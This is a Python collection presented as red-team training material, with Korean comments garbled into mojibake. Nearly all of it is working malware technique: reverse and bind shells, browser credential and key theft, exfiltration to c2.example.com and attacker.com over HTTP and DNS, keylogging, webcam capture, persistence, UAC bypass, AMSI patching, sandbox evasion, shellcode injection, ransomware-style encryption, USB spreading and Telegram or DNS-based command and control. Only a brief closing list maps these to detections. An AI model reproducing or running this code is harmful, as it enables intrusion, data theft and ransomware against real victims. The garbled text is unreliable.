๊ถํ ์๋ ์นจํฌ ํ ์คํธ / ๋ ๋ํ ํ๋ จ์ฉ ์ฐธ๊ณ ์๋ฃ. ๊ฐ ๊ณ์ด์ ํ์ง ๊ด์ (EPP/EDR/EDR ํ ๋ ๋ฉํธ๋ฆฌ) ํ์ต์ ์ ์ ๋ก ์์ฑ.
import socket, subprocess, os, ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 443))
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
sec = ctx.wrap_socket(s)
os.dup2(sec.fileno(), 0); os.dup2(sec.fileno(), 1); os.dup2(sec.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
import socket, subprocess
srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 9999)); srv.listen(1)
c, _ = srv.accept()
while True:
cmd = c.recv(1024).decode()
if not cmd: break
c.send(subprocess.run(cmd, shell=True, capture_output=True).stdout or b"")
# Chrome ์ ์ฅ ์ฟ ํค/ํจ์ค์๋ DB ์์น ํ์
(Windows)
import os, glob, shutil, base64
targets = glob.glob(os.path.expanduser(
r"~\AppData\Local\Google\Chrome\User Data\*\Login Data"))
for t in targets:
shutil.copy(t, os.environ["TEMP"]) # ๋ณต์ฌ ํ ์คํ๋ผ์ธ SQLite ๋ณตํธํ
# Linux: ~/.ssh, ~/.gnupg, ~/.aws/credentials ์์ง
import requests, os
files = [f for f in os.listdir(".") if f.endswith((".docx",".pdf",".xlsx"))]
for f in files:
requests.post("http://c2.example.com/up", files={"f": open(f, "rb")})
# DNS ํฐ๋๋ง (์๋ ๋ฐ์ดํฐ)
import base64, socket
def dns_exfil(host, data, domain="exfil.attacker.com"):
chunk = base64.b32encode(data.encode()).decode().lower()[:60]
socket.gethostbyname(f"{chunk}.{domain}")
import base64, marshal, zlib
payload = b"import os; os.system('id')"
enc = base64.b64encode(zlib.compress(marshal.dumps(compile(payload, "<s>", "exec"))))
exec(marshal.loads(zlib.decompress(base64.b64decode(enc)))) # ์คํ๊ธฐ
# ๋ค์ธต ๋๋
ํ: base64 โ zlib โ marshal โ XOR
# Linux memfd_create ๊ธฐ๋ฐ ํ์ผ๋ฆฌ์ค ์คํ
import ctypes, os
libc = ctypes.CDLL("libc.so.6", use_errno=True)
fd = libc.memfd_create(b"proc", 0)
os.write(fd, open("/tmp/shell.elf","rb").read())
os.execv(f"/proc/self/fd/{fd}", ["proc"])
# Windows: python -c "exec(requests.get('http://c2/p').text)" ๋ฅผ
# ๋ ์ง์คํธ๋ฆฌ Run ํค / WMI ์ด๋ฒคํธ ๊ตฌ๋
์ ์ฝ์
from pynput import keyboard
import requests
log = ""
def on_press(k):
global log
log += k.char if hasattr(k, "char") else f"[{k}]"
if len(log) > 128:
requests.post("http://c2.example.com/k", data={"d": log}); log = ""
with keyboard.Listener(on_press=on_press) as l: l.join()
# Windows ๋ ์ง์คํธ๋ฆฌ Run ํค
import winreg
k = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(k, "OneDriveSync", 0, winreg.REG_SZ, r"pythonw.exe C:\Temp\s.py")
# Linux cron + systemd user service
# crontab -l | echo "@reboot python3 ~/.cache/.upd.py" | crontab -
import platform, socket, getpass, subprocess
info = {
"host": socket.gethostname(), "user": getpass.getuser(),
"os": platform.platform(), "ip": socket.gethostbyname(socket.gethostname()),
}
# ์คํฌ๋ฆฐ์ท
from PIL import ImageGrab
ImageGrab.grab().save("/tmp/s.png")
import random, time, requests
while True:
try:
cmd = requests.get("http://c2.example.com/beacon", timeout=5).text
if cmd: exec(cmd)
except: pass
time.sleep(30 + random.randint(-10, 10)) # jitter๋ก ์๊ทธ๋์ฒ ํ์ง ํํผ
# Linux: SUID / sudo ์ค๋จ์ฉ ํ์
import subprocess
r = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f"],
capture_output=True, text=True)
print(r.stdout)
# GTFOBins์ ๋์ํ๋ SUID ๋ฐ์ด๋๋ฆฌ โ ์
ธ ์น๊ฒฉ
import paramiko # SSH ํก์ ์ด๋
c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect("10.0.0.5", username="svc", password="P@ss")
c.exec_command("curl -s http://c2/p | python3 -") # 2๋จ๊ณ ์คํ
์ด์ ๋๋กญ
# msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -o st.py
import base64
# ์์ฑ๋ ํ์ด๋ก๋๋ 2๋จ๊ณ: ์คํ
์ด์ โ ๋ค์ด๋ก๋ โ ๋ณธ์ฒด
import urllib.request, exec
exec(urllib.request.urlopen("http://10.10.10.10:8080/main").read())
import socket, concurrent.futures
def chk(ip, port):
s = socket.socket(); s.settimeout(0.5)
return port if s.connect_ex((ip, port)) == 0 else None
targets = [f"10.0.0.{i}" for i in range(1, 255)]
ports = [22, 80, 443, 445, 3389]
with concurrent.futures.ThreadPoolExecutor(100) as ex:
for ip in targets:
for r in {ex.submit(chk, ip, p) for p in ports}:
if r.result(): print(ip, r.result())
import os, random
def mutate(src): # ๋๋ฏธ ์ฃผ์ ์ฝ์
์ผ๋ก ํด์ ํํผ
junk = "\n#%x" % random.getrandbits(32)
return src.replace("\n", junk + "\n", random.randint(1,5))
open("mut.py", "w").write(mutate(open("pay.py").read()))
# UAC bypass โ fodhelper.exe (HKCU ๋ ์ง์คํธ๋ฆฌ ํ์ด์ฌํน) import winreg k = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Classes\ms-settings\Shell\Open\command", 0, winreg.KEY_WRITE) winreg.SetValueEx(k, "", 0, winreg.REG_SZ, "cmd.exe") winreg.SetValueEx(k, "DelegateExecute", 0, winreg.REG_SZ, "") subprocess.Popen(r"C:\Windows\System32\fodhelper.exe", creationflags=0x08000000)
# AMSI patch (x64)
import ctypes
buf = b"\xB8\x57\x00\x07\x80\xFF\xC0\xC3" # mov eax,0x80070057; inc eax; ret โ ํจ์น ๋ณํ
ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_bool
# string splitting + charcode ์กฐํฉ์ผ๋ก ์๊ทธ๋์ฒ ๋ถ์ฐ
exec("".join(map(chr,[105,109,112,111,114,116,32,111,115])))
# ํ๋ จ์ฉ: ์ง์ ํ
์คํธ ๋๋ ํฐ๋ฆฌ๋ง ๋์
import os
from cryptography.fernet import Fernet
key = Fernet.generate_key(); f = Fernet(key)
for root, _, files in os.walk("/test/target"):
for fn in files:
p = os.path.join(root, fn)
data = open(p, "rb").read()
open(p + ".locked", "wb").write(f.encrypt(data)); os.remove(p)
# LSB ์ด๋ฏธ์ง์ ํ์ด๋ก๋ ์๋
from PIL import Image
img = Image.open("cover.png"); px = img.load()
data = open("pay.py","rb").read().hex()
for i, ch in enumerate(data):
x, y = divmod(i, img.width)
r, g, b = px[x, y][:3]
px[x, y] = (r & ~3 | int(ch,16), g, b)
img.save("out.png") # ๋ค์ด๋ก๋ ํ LSB ์ถ์ถ โ exec
import requests, time
BOT, CHAT = "BOT_TOKEN", "CHAT_ID"
def poll():
off = 0
while True:
for u in requests.get(f"https://api.telegram.org/bot{BOT}/getUpdates?offset={off}").json()["result"]:
off = u["update_id"] + 1
msg = u["message"]["text"]
if msg.startswith("/sh"):
import subprocess
requests.post(f"https://api.telegram.org/bot{BOT}/sendMessage",
data={"chat_id": CHAT, "text": subprocess.run(msg[4:], shell=True,
capture_output=True).stdout.decode(errors="ignore")[:4000]})
time.sleep(3)
import os, shutil, glob
# ๋ฆฌ๋ฌด๋ฒ๋ธ ๋๋ผ์ด๋ธ ํ์ง ํ ์๊ฐ ๋ณต์ฌ
for drv in "DEFGHIJKLMNOPQRSTUVWXYZ":
p = f"{drv}:/"
if os.path.exists(p) and os.access(p, os.W_OK):
shutil.copy(__file__, p + ".sys_update.py")
# ๋ฐ๋ก๊ฐ๊ธฐ/autorun ๊ธฐ๋ฐ ํธ๋ฆฌ๊ฑฐ (ํ๋ จ ํ๊ฒฝ ํ์ )
import platform, os
def is_sandbox():
if "VirtualBox" in platform.platform() or "VMware" in platform.platform(): return True
if os.path.exists("/.dockerenv") or "microsoft" in platform.release().lower(): return True
import psutil
return any("wireshark" in p.name().lower() for p in psutil.process_iter())
if is_sandbox(): os._exit(0) # ๋ฌดํด ์ข
๋ฃ๋ก ๋์ ๋ถ์ ํํผ
import cv2, requests
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
if ret:
cv2.imwrite("c.jpg", frame)
requests.post("http://c2.example.com/cam", files={"img": open("c.jpg","rb")})
cam.release()
import ctypes
key, shellcode = b"\x2a", b"\x90\xcc..." # ์ธ์ฝ๋ฉ๋ ์
ธ์ฝ๋
dec = bytes([b ^ key[0] for b in shellcode])
buf = ctypes.create_string_buffer(dec, len(dec))
ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_bool
ctypes.windll.kernel32.VirtualProtect(buf, len(dec), 0x40,
ctypes.byref(ctypes.c_ulong()))
f = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(buf)); f()
# ๋ฌธ์์ด ์๊ทธ๋์ฒ ๋ถ์ฐ โ ํ์ง ๋ฃฐ ์ฐํ ํจํด
parts = ["import so", "cket,subp", "rocess\nsubp", "rocess.run('id')"]
exec("".join(parts))
# ๋ฐํ์ ๋ฌธ์์ด ์ฌ๊ตฌ์ฑ, UUID/ํ๊ฒฝ๋ณ์์์ ์กฐ๊ฐ ๋ณต์๋ ๋์ผ ์๋ฆฌ
# TXT ๋ ์ฝ๋ ๊ธฐ๋ฐ ๋ค์ด๋ก๋ โ ๋ฐฉํ๋ฒฝ ์์๋ฐ์ด๋ 53 ์ฐํ
import dns.resolver, base64
a = dns.resolver.resolve("payload.attacker.com", "TXT")
exec(base64.b64decode("".join([s.strings[0] for s in a])))
๊ณ์ด A,B โ ์ด์ํ outbound TLS/PTY, dup2 ํ์ค์ ์ถ๋ ฅ ๋ฆฌ๋ค์ด๋ ์ ๊ฐ์ ๊ณ์ด C,D โ DLP, ๋ธ๋ผ์ฐ์ ํ๋กํ ์ ๊ทผ ์ฐจ๋จ, DNS ์ฟผ๋ฆฌ ๊ธธ์ด/๋น๋ ์ด์ํ์ง ๊ณ์ด E,O,X,Y โ exec/eval/compile ํธ์ถ ์คํ ๊ฐ์ฌ, ์ ์ +๋์ ํ์ด๋ธ๋ฆฌ๋ ๋ถ์ ๊ณ์ด F,H โ cron/systemd/Run ํค ๋ฌด๊ฒฐ์ฑ ๋ชจ๋ํฐ๋ง (auditd, Sysmon EID 13) ๊ณ์ด K,P โ SUID ๋ณ๊ฒฝ ์๋ฆผ, UAC ๋ ์ง์คํธ๋ฆฌ hijack ์ด๋ฒคํธ ๊ณ์ด Q,V โ AMSI ์ฝํ ์ธ ๊ฒ์ฌ, ๊ฐ์ํ๊ฒฝ ํ์ ๋ ธ์ด์ฆ ์ถ๊ฐ ๊ณ์ด J,T โ ๋น์ปจ ์ฃผ๊ธฐ ๋ถ์(Jitter), SaaS API ์์๋ฐ์ด๋ ์ ์ฑ